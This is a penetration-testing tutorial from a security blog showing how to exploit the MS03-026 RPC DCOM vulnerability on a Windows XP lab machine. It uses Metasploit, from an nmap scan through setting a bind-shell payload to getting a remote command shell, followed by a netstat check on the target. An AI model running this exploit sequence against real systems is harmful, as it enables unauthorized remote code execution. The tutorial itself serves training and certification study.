

RPC Service Exploitation in Windows XP

 pentestlab.blog/category/exploitation-techniques/page/16

March 23, 2012

The exploitation technique that you will see in the following article already exists in many tutorials and videos across the Internet so if you are already familiar with that you can skip this article. The only reason that I am writing this tutorial is for those that they are not familiar enough with the Metasploit Framework or they want to use the information below for a practical examination of a certification.

While doing a penetration testing in a Windows XP machine you will surely need to test the machine against the two most common vulnerabilities that exists. One is a vulnerability in the netapi and the other one in the RPC service. So let's say you perform a simple port scan with Nmap and you have identified that the remote host is a Windows XP machine running the RPC service on port 135.

```
root@bt:~# nmap -v -n 172.16.56.128

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-22 19:35 GMT
Initiating ARP Ping Scan at 19:35
Scanning 172.16.56.128 [1 port]
Completed ARP Ping Scan at 19:35, 0.06s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 19:35
Scanning 172.16.56.128 [1000 ports]
Discovered open port 135/tcp on 172.16.56.128
Discovered open port 445/tcp on 172.16.56.128
Discovered open port 1025/tcp on 172.16.56.128
Discovered open port 139/tcp on 172.16.56.128
Discovered open port 5000/tcp on 172.16.56.128
Completed SYN Stealth Scan at 19:35, 0.10s elapsed (1000 total ports)
Nmap scan report for 172.16.56.128
Host is up (0.00047s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1025/tcp  open  NFS-or-IIS
5000/tcp  open  upnp
MAC Address: 00:50:56:34:28:6B (VMware)
```

RPC service in Windows XP

Our next step will be to try to discover the available exploits that the metasploit framework has in his database. So we are opening the metasploit and we are searching for the dcom exploit with the command **search dcom**.

```
msf > search dcom

Matching Modules
=====

  Name                                           Disclosure Date  Rank   Description
  ----                                           -
  exploit/windows/dcerpc/ms03_026_dcom          2003-07-16      great  Microsoft RPC DC
OM Interface Overflow
  exploit/windows/driver/broadcom_wifi_ssid     2006-11-11      low    Broadcom Wireles
s Driver Probe Response SSID Overflow
  exploit/windows/smb/ms04_031_netdde           2004-10-12      good   Microsoft NetDDE
Service Overflow
```

Search for DCOM Exploit

The exploit that we are going to use is the **ms03_026_dcom**. The next image is showing the available options for this exploit.

```
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

  Name      Current Setting  Required  Description
  ----      -
  RHOST      RHOST            yes        The target address
  RPORT      RPORT            yes        The target port

Exploit target:

  Id  Name
  --  -
  0    Windows NT SP3-6a/2000/XP/2003 Universal
```

DCOM Exploit Options

As we can see there is only one option which is blank the RHOST. In the RHOST we need to put the IP address of our target. Additionally we can see that this exploit will work from Windows NT until Windows 2003 version. But we haven't finished yet. We need to select and configure the payload. For this example we have select the payload with the name shell_bind_tcp which will return to as a shell through a TCP connection. The payload needs also to set a local port and our local IP address.

```
msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > set rhost 172.16.56.128
rhost => 172.16.56.128
msf exploit(ms03_026_dcom) > set payload windows/shell_bind_tcp
payload => windows/shell_bind_tcp
msf exploit(ms03_026_dcom) > set lhost 172.16.56.1
lhost => 172.16.56.1
msf exploit(ms03_026_dcom) > set lport 4444
lport => 4444
msf exploit(ms03_026_dcom) >
```

DCOM Exploit Settings

Now it is time to exploit the target....

```

msf exploit(ms03_026_dcom) > exploit

[*] Started bind handler
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.56.128[135]
...
[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:172.16.56.128[135]
...
[*] Sending exploit ...
[*] Command shell session 1 opened (172.16.56.1:53500 -> 172.16.56.128:4444) at 2012-03-22 21:43:20 +0000

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

```

Exploit the Target

As we can see the exploit have worked and now we have a shell in the remote system. From the other hand the user can identify that someone has connected to his machine by using the command netstat -n in the command prompt.

```

C:\> Command Prompt

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Admin>netstat -n

Active Connections

    Proto  Local Address          Foreign Address         State
    TCP    172.16.56.128:4444     172.16.56.1:53500      ESTABLISHED

C:\Documents and Settings\Admin>

```

Checking for remote connections

Conclusion

This exploit allows the attackers to execute code on the remote system through a vulnerability in the RPC service. It is a very old vulnerability so it is very difficult to exploit this in nowadays. However most courses, training sessions and books in ethical hacking are starting with that exploit as an introduction to exploitation. So if you are a starter in that field or if you are studying for a certification and you want to be familiar with metasploit you will probably need that tutorial as a reference.